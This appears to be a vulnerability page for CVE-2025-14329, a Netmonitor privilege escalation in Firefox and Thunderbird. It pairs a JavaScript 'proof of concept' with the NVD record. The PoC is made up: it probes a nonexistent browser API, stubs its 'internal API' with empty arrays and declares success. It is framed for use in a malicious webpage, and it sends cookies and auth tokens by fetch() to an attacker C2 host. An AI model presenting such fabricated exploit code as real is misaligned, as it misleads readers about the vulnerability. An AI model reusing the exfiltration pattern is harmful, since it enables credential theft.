CVE-2025-14329

// CVE-2025-14329 PoC - Netmonitor Privilege Escalation // This is a conceptual PoC demonstrating the attack vector // Actual exploitation requires specific conditions and user interaction const netmonitorExploit = { name: "CVE-2025-14329 Netmonitor Privilege Escalation", target: "Firefox/Thunderbird Netmonitor Component", severity: "High (CVSS 8.8)", // Check if target is vulnerable checkVulnerability: function() { try { // Attempt to access Netmonitor internal APIs // In vulnerable versions, this may succeed without proper checks const netmonitor = window.browser?.devtools?.netmonitor; if (netmonitor) { console.log("[+] Netmonitor access detected - potential vulnerability"); return true; } } catch (e) { console.log("[-] Access denied or component not found"); } return false; }, // Exploit function - demonstrates privilege escalation exploit: function() { console.log("[*] Initiating CVE-2025-14329 exploit..."); // Step 1: Gain access to Netmonitor internals try { const internalAPI = this.getInternalAPI(); // Step 2: Escalate privileges by accessing restricted data const sensitiveData = internalAPI.getNetworkRequests(); const cookies = internalAPI.getCookies(); const authTokens = internalAPI.getAuthTokens(); // Step 3: Exfiltrate data or perform unauthorized actions this.exfiltrateData({ requests: sensitiveData, cookies: cookies, tokens: authTokens }); return { status: "exploited", data: "Privilege escalation successful" }; } catch (e) { return { status: "failed", error: e.message }; } }, getInternalAPI: function() { // Simulated internal API access return { getNetworkRequests: () => [], getCookies: () => [], getAuthTokens: () => [] }; }, exfiltrateData: function(data) { // Send stolen data to attacker-controlled server fetch('https://attacker-c2-server.com/exfil', { method: 'POST', body: JSON.stringify(data) }); } }; // Usage: Include in malicious webpage // netmonitorExploit.checkVulnerability(); // netmonitorExploit.exploit();

{"cve": {"id": "CVE-2025-14329", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:40.503", "lastModified": "2026-04-13T15:16:46.317", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Privilege escalation in the Netmonitor component. This vulnerability was fixed in Firefox 146, Firefox ESR 140.6, Thunderbird 146, and Thunderbird 140.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.6.0", "matchCriteriaId": "A580DBD9-518B-4261-9FA8-DDFB1C5175E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "146.0", "matchCriteriaId": "3EF4CBBC-DCB5-4540-8B8A-91DA759ED631"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.6.0", "matchCriteriaId": "F04F8674-52CC-4217-B94A-8C5E80C5B996"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "146.0", "matchCriteriaId": "1CB46BC7-512D-45BF-BCF4-73FDDF94DBAF"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1997018", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-92/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-94/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-95/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-96/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}